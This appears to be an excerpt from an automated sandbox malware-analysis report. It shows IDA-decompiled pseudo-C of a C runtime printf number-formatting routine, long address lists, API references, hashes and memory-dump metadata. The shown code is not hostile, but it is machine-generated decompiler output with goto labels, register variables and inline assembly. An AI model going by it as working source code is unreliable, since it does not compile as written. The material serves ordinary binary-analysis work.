										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										 *(__ebp - 4) =  *(__ebp - 4) - 1;
										L178:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L180;
										}
										goto L179;
									}
								}
								L165:
								__eflags =  *(__ebp - 0x4a0);
								if( *(__ebp - 0x4a0) >= 0) {
									goto L167;
								}
								goto L166;
								L167:
								__ecx =  *(__ebp - 0x4a0);
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
								__edx =  *(__ebp - 0x49c);
								 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
								goto L168;
							}
						}
					}
				}
			}

0x0043c456
0x0043c456
0x0043c456
0x0043c456
0x0043c456
0x0043c456
0x0043c456
0x0043c45d
0x0043c45d
0x0043c45d
0x0043c473
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x0043c5a0
0x0043c5a0
0x0043c5a7
0x00000000
0x00000000
0x0043c5a9
0x0043c5a9
0x0043c5b4
0x0043c5ba
0x0043c5bc
0x0043c5c2
0x0043c5c5
0x0043c5c7
0x0043c5cd
0x0043c5d6
0x0043c5db
0x0043c5f8
0x0043c5fb
0x0043c5fb
0x0043c600
0x0043c605
0x0043c605
0x0043c60b
0x0043c60d
0x0043c613
0x0043c619
0x0043c619
0x0043c622
0x0043c622
0x0043c60b
0x0043c628
0x0043c62c
0x0043c63a
0x0043c63d
0x0043c640
0x0043c647
0x0043c649
0x0043c649
0x0043c62e
0x0043c62e
0x0043c62e
0x0043c656
0x0043c656
0x0043c65c
0x0043c65e
0x0043c65e
0x0043c665
0x0043c66b
0x0043c66e
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x0043c67e
0x0043c684
0x0043c684
0x0043c68a
0x0043c707
0x0043c70d
0x0043c710
0x0043c713
0x0043c716
0x0043c719
0x0043c71f
0x0043c71f
0x0043c725
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x0043c75a
0x0043c75d
0x0043c75d
0x0043c760
0x0043c765
0x0043c765
0x0043c76a
0x0043c781
0x0043c781
0x0043c784
0x0043c79b
0x0043c79b
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7a9
0x0043c7a9
0x0043c786
0x0043c786
0x0043c78b
0x0043c78f
0x0043c78f
0x0043c76c
0x0043c76c
0x0043c771
0x0043c775
0x0043c775
0x0043c76a
0x0043c7b3
0x0043c7b6
0x0043c7b9
0x0043c7c2
0x0043c7c2
0x0043c7c5
0x0043c7c7
0x0043c7ce
0x0043c7d2
0x0043c7db
0x0043c7e0
0x0043c7e3
0x0043c7ea
0x0043c7ee
0x0043c7f2
0x0043c7fe
0x0043c801
0x0043c801
0x0043c804
0x0043c809
0x0043c809
0x0043c80c
0x0043c80e
0x0043c815
0x0043c819
0x0043c822
0x0043c827
0x0043c80c
0x0043c82a
0x0043c82e
0x0043c8e8
0x0043c8e8
0x0043c8ef
0x0043c8f3
0x0043c8f7
0x0043c8fb
0x00000000
0x0043c834
0x0043c834
0x0043c834
0x0043c838
0x00000000
0x00000000
0x0043c83e
0x0043c83e
0x0043c841
0x0043c847
0x0043c84a
0x0043c850
0x0043c850
0x0043c850
0x0043c85c
0x0043c85f
0x0043c865
0x0043c867
0x00000000
0x00000000
0x0043c869
0x0043c869
0x0043c86c
0x0043c872
0x0043c87a
0x0043c87c
0x0043c883
0x0043c88a
0x0043c899
0x0043c89f
0x0043c8a6
0x0043c8b4
0x0043c8b4
0x0043c8bb
0x0043c8c7
0x0043c8d5
0x0043c8db
0x00000000
0x0043c8db
0x0043c8a8
0x0043c8a8
0x00000000
0x0043c8a8
0x0043c8e6
0x0043c903
0x0043c903
0x0043c90a
0x0043c90f
0x0043c90f
0x0043c912
0x0043c914
0x0043c91b
0x0043c928
0x0043c92d
0x0043c912
0x0043c90a
0x0043c930
0x0043c930
0x0043c934
0x0043c938
0x0043c93c
0x0043c944
0x0043c944
0x0043c94b
0x0043c94b
0x0043bacb
0x0043bad2
0x0043badf
0x0043bae4
0x00000000
0x0043baf7
0x0043bb01
0x0043bb28
0x0043bb0f
0x0043bb20
0x0043bb20
0x0043bb01
0x0043bb32
0x0043bb38
0x0043bb44
0x0043bb47
0x0043bb55
0x0043bb58
0x0043bb65
0x0043bc0a
0x0043bc10
0x0043bc16
0x0043bc1d
0x00000000
0x00000000
0x0043bc23
0x0043bc29
0x00000000
0x0043bc30
0x0043bc30
0x0043bc4a
0x0043bc4f
0x00000000
0x00000000
0x0043bc57
0x0043bc57
0x0043bc5e
0x0043bc61
0x0043bc64
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x0043bc77
0x0043bc7e
0x00000000
0x00000000
0x0043bc8a
0x0043bc8a
0x0043bc91
0x0043bc9d
0x0043bca0
0x0043bca6
0x0043bcad
0x00000000
0x00000000
0x0043bcaf
0x0043bcb5
0x0043bcb5
0x0043bcbc
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bd00
0x0043bd00
0x0043bd07
0x0043bd0a
0x0043bd34
0x0043bd37
0x0043bd37
0x0043bd41
0x0043bd41
0x0043bd45
0x0043bd0c
0x0043bd0c
0x0043bd18
0x0043bd1b
0x0043bd1f
0x0043bd21
0x0043bd24
0x0043bd24
0x0043bd27
0x0043bd2a
0x0043bd2d
0x0043bd2f
0x0043bd2f
0x0043bd32
0x0043bd48
0x00000000
0x00000000
0x0043bd4d
0x0043bd4d
0x00000000
0x00000000
0x0043bd59
0x0043bd59
0x0043bd60
0x0043bd63
0x0043bd83
0x0043bd86
0x0043bd86
0x0043bd90
0x0043bd90
0x0043bd94
0x0043bd65
0x0043bd65
0x0043bd71
0x0043bd74
0x0043bd78
0x0043bd7a
0x0043bd7a
0x0043bd81
0x00000000
0x00000000
0x0043bd9c
0x0043bd9c
0x0043bda3
0x0043bdaf
0x0043bdb2
0x0043bdb8
0x0043bdbf
0x0043bed2
0x00000000
0x0043bed2
0x0043bdc5
0x0043bdcb
0x0043bdcb
0x0043bdd2
0x00000000
0x0043be09
0x0043be09
0x0043be0c
0x0043be0f
0x0043be12
0x0043be39
0x0043be39
0x0043be3c
0x0043be3f
0x0043be42
0x0043be66
0x0043be66
0x0043be69
0x0043be6c
0x0043be6f
0x0043bea8
0x0043beb9
0x00000000
0x0043beb9
0x0043be71
0x0043be71
0x0043be74
0x0043be77
0x0043be7a
0x00000000
0x00000000
0x0043be7c
0x0043be7c
0x0043be7f
0x0043be82
0x0043be85
0x00000000
0x00000000
0x0043be87
0x0043be87
0x0043be8a
0x0043be8d
0x0043be90
0x00000000
0x00000000
0x0043be92
0x0043be92
0x0043be95
0x0043be98
0x0043be9b
0x00000000
0x00000000
0x0043be9d
0x0043be9d
0x0043bea0
0x0043bea3
0x0043bea6
0x0043beaa
0x00000000
0x0043beaa
0x00000000
0x0043bea6
0x0043be44
0x0043be44
0x0043be47
0x0043be4b
0x0043be4e
0x00000000
0x0043be50
0x0043be53
0x0043be56
0x0043be5c
0x0043be61
0x00000000
0x0043be61
0x0043be4e
0x0043be14
0x0043be14
0x0043be17
0x0043be1b
0x0043be1e
0x00000000
0x0043be20
0x0043be23
0x0043be26
0x0043be2c
0x0043be31
0x00000000
0x0043be31
0x00000000
0x0043bebb
0x0043bebb
0x0043bebe
0x0043bec1
0x00000000
0x00000000
0x0043bdd9
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043bde2
0x0043bdfb
0x0043bdfe
0x0043bdfe
0x0043be01
0x0043bde4
0x0043bde4
0x0043bde7
0x0043bdea
0x0043bdf0
0x0043bdf6
0x0043bdf6
0x00000000
0x00000000
0x0043bec6
0x0043bec6
0x0043bec9
0x0043bec9
0x0043becf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bed7
0x0043bed7
0x0043bede
0x0043bee4
0x0043beea
0x0043beed
0x0043bef3
0x0043befa
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043bf00
0x0043bf06
0x0043bf06
0x0043bf0d
0x00000000
0x0043c291
0x0043c291
0x0043c29f
0x0043c29f
0x0043c2a2
0x00000000
0x00000000
0x0043bf14
0x0043bf17
0x0043bf17
0x0043bf1d
0x0043bf1f
0x0043bf22
0x0043bf22
0x0043bf25
0x0043bf25
0x00000000
0x00000000
0x0043c05a
0x0043c05d
0x0043c05d
0x0043c062
0x0043c064
0x0043c067
0x0043c067
0x0043c06a
0x0043c06a
0x00000000
0x00000000
0x0043c45d
0x0043c45d
0x00000000
0x00000000
0x0043bfc4
0x0043bfc4
0x0043bfd0
0x0043bfd6
0x0043bfdd
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043c000
0x0043c055
0x00000000
0x0043c055
0x0043bfdf
0x0043bfdf
0x0043bfe5
0x0043bfe9
0x0043c008
0x0043c008
0x0043c00e
0x0043c036
0x0043c03d
0x0043c043
0x0043c046
0x0043c049
0x0043c04f
0x0043c052
0x0043c010
0x0043c010
0x0043c016
0x0043c019
0x0043c01c
0x0043c022
0x0043c025
0x0043c028
0x0043c02a
0x0043c02d
0x0043c02d
0x00000000
0x0043c00e
0x00000000
0x00000000
0x0043c2a9
0x0043c2ac
0x0043c2af
0x0043c2b2
0x0043c2b8
0x0043c2bb
0x0043c2c2
0x0043c2c6
0x0043c2d1
0x0043c2d1
0x0043c2d5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c2f5
0x0043c2f5
0x0043c2fc
0x0043c2fc
0x0043c303
0x0043c311
0x0043c314
0x0043c323
0x0043c326
0x0043c32a
0x0043c33f
0x0043c32c
0x0043c32c
0x0043c32f
0x0043c335
0x0043c33a
0x0043c33a
0x0043c32a
0x0043c349
0x0043c34c
0x0043c34f
0x0043c352
0x0043c355
0x0043c358
0x0043c35e
0x0043c364
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37c
0x0043c37d
0x0043c380
0x0043c381
0x0043c384
0x0043c385
0x0043c38b
0x0043c38c
0x0043c39b
0x0043c39d
0x0043c3a3
0x0043c3a3
0x0043c3a8
0x0043c3aa
0x0043c3ae
0x0043c3b0
0x0043c3b8
0x0043c3b9
0x0043c3bc
0x0043c3bd
0x0043c3cc
0x0043c3ce
0x0043c3ce
0x0043c3ae
0x0043c3d1
0x0043c3d8
0x0043c3db
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3e8
0x0043c3f0
0x0043c3f1
0x0043c3f4
0x0043c3f5
0x0043c403
0x0043c405
0x0043c405
0x0043c3e6
0x0043c408
0x0043c40b
0x0043c40e
0x0043c411
0x0043c416
0x0043c41b
0x0043c41e
0x0043c421
0x0043c421
0x0043c424
0x0043c424
0x0043c427
0x0043c433
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c750
0x0043c2d7
0x0043c2d7
0x0043c2de
0x0043c2e1
0x00000000
0x00000000
0x0043c2e3
0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf45
0x0043bf48
0x0043bfa1
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf8c
0x0043bf94
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x0043c43b
0x0043c43e
0x0043c441
0x0043c444
0x00000000
0x00000000
0x0043c19a
0x0043c19a
0x0043c1a6
0x0043c1ac
0x0043c1b1
0x0043c1b3
0x0043c25d
0x0043c25d
0x0043c260
0x0043c260
0x0043c263
0x0043c277
0x0043c27d
0x0043c283
0x0043c265
0x0043c265
0x0043c26b
0x0043c272
0x0043c272
0x0043c285
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x0043c1b9
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1df
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c203
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c209
0x0043c210
0x0043c258
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x00000000
0x0043c24d
0x00000000
0x0043c4a4
0x0043c4a4
0x0043c4ae
0x0043c4ae
0x0043c4b4
0x0043c4b6
0x0043c4b9
0x0043c4b9
0x0043c4bf
0x0043c4bf
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c06d
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c165
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c172
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c187
0x0043c18d
0x0043c18d
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0db
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ec
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c103
0x0043c10b
0x0043c10d
0x0043c10f
0x0043c115
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0cf
0x0043c0d2
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x0043c750
0x00000000
0x0043c44d
0x0043c44d
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c47d
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x0043c4c2
0x0043c4c2
0x0043c4c5
0x0043c4c5
0x0043c4ca
0x0043c4ec
0x0043c4ec
0x0043c4f2
0x0043c514
0x0043c514
0x0043c517
0x0043c55e
0x0043c55e
0x0043c561
0x0043c57e
0x0043c582
0x0043c58a
0x0043c58a
0x0043c58c
0x0043c592
0x0043c563
0x0043c563
0x0043c567
0x0043c56f
0x0043c570
0x0043c576
0x0043c576
0x0043c519
0x0043c51c
0x0043c51c
0x0043c51f
0x0043c53d
0x0043c549
0x0043c54c
0x0043c54d
0x0043c553
0x0043c521
0x0043c521
0x0043c525
0x0043c52d
0x0043c52e
0x0043c52f
0x0043c535
0x0043c535
0x0043c559
0x0043c4f4
0x0043c4f4
0x0043c500
0x0043c506
0x0043c506
0x0043c4cc
0x0043c4cc
0x0043c4d8
0x0043c4de
0x0043c4de
0x0043c59b
0x0043c59b
0x0043c59e
0x00000000
0x00000000
0x00000000
0x0043c59e
0x00000000
0x0043c750
0x0043c750
0x0043c750
0x0043c754
0x00000000
0x00000000
0x00000000
0x0043c754
0x00000000
0x00000000
0x0043bcd9
0x0043bcd9
0x0043bcdc
0x0043bcdf
0x00000000
0x00000000
0x0043bce4
0x0043bce7
0x0043bced
0x00000000
0x00000000
0x0043bcce
0x0043bcd1
0x0043bcd4
0x00000000
0x00000000
0x0043bcc3
0x0043bcc6
0x0043bcc9
0x00000000
0x00000000
0x0043bcf2
0x0043bcf2
0x0043bcf5
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c950
0x0043c957
0x0043c96e
0x0043c96e
0x0043c978
0x0043c978
0x0043c97e
0x0043c984
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9a8
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9ae
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c959
0x0043c959
0x0043c960
0x00000000
0x00000000
0x0043c962
0x0043c962
0x00000000
0x0043c962
0x0043c750
0x0043c727
0x0043c727
0x0043c72b
0x0043c738
0x0043c73b
0x0043c73e
0x0043c741
0x0043c744
0x0043c747
0x0043c74a
0x0043c74a
0x0043c74d
0x00000000
0x0043c74d
0x0043c72d
0x0043c72d
0x0043c730
0x0043c733
0x0043c736
0x00000000
0x00000000
0x00000000
0x0043c736
0x0043c68c
0x0043c68c
0x0043c68f
0x0043c692
0x0043c699
0x0043c6a0
0x0043c6a8
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6bb
0x0043c6c7
0x0043c6cd
0x0043c6d3
0x0043c6da
0x0043c6dc
0x0043c6e2
0x0043c6e2
0x0043c6e8
0x0043c6e8
0x0043c6ee
0x0043c6f7
0x0043c6fc
0x0043c6ff
0x0043c66e
0x0043c66e
0x0043c674
0x0043c677
0x0043c67a
0x0043c67c
0x00000000
0x00000000
0x00000000
0x0043c67c
0x0043c66e
0x0043c5ab
0x0043c5ab
0x0043c5b2
0x00000000
0x00000000
0x00000000
0x0043c5e0
0x0043c5e0
0x0043c5e6
0x0043c5ec
0x0043c5f2
0x00000000
0x0043c5f2
0x0043c4c2
0x0043c473
0x0043c45d

APIs

_get_int64_arg.LIBCMTD ref: 0043C4D0
__aullrem.LIBCMT ref: 0043C6A0
__aulldiv.LIBCMT ref: 0043C6C2

Strings

9, xrefs: 0043C6D3

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: d48bb571ea6e4147760cd38512bf805f4933bf28aae6acd7537b90f4590c1fdd
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 9F4106B1E10129DFDB24CF58C981BAEB7B4FF89314F10519AD148B7240D738AA81CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0043508C, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E0043508C(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428400(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428400(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428400(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428400(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428420(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428420(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
